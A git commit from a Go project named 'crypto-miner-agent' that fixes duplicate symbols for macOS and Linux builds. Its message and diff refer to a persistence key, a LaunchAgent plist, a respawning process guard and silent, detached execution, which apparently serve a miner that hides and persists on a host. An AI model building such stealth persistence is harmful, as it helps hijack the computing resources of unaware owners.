fix(mac): resolve duplicate symbols blocking darwin/linux builds + add Mac tests. Remove duplicate launchProcessGuard from guard_unix.go (kept richer health_unix.go shell-loop version using pgrep -f). Remove duplicate applyDetachedStart from exec_stub.go (kept platform_unix.go impl that clears stdio). Add silent_stub.go for !windows so silentCombinedOutput/silentOutput/silentRun compile on Mac. All 4 targets now build: darwin/arm64, darwin/amd64, linux/amd64, linux/arm64. New tests: workerProcessRunning, applyDetachedStart stdio clearing, PersistenceKeyName, HostOSVersion, LaunchAgent plist content, silent stub exec wrappers.

This commit is contained in:
AetherForge
2026-06-03 00:31:30 -07:00
parent bbc1526c37
commit a17cef4c5d
6 changed files with 268 additions and 12 deletions

View File

@@ -5,20 +5,9 @@ package deploy
import (
"os/exec"
"strings"
"crypto-miner-agent/config"
)
func workerProcessRunning(imageName string) bool {
out, err := exec.Command("pgrep", "-x", strings.TrimSuffix(imageName, ".exe")).Output()
return err == nil && len(strings.TrimSpace(string(out))) > 0
}
func launchProcessGuard(cfg config.RuntimeConfig) {
binPath, err := InstalledBinaryPath(cfg)
if err != nil {
return
}
cmd := exec.Command(binPath, guardFlag)
_ = cmd.Start()
}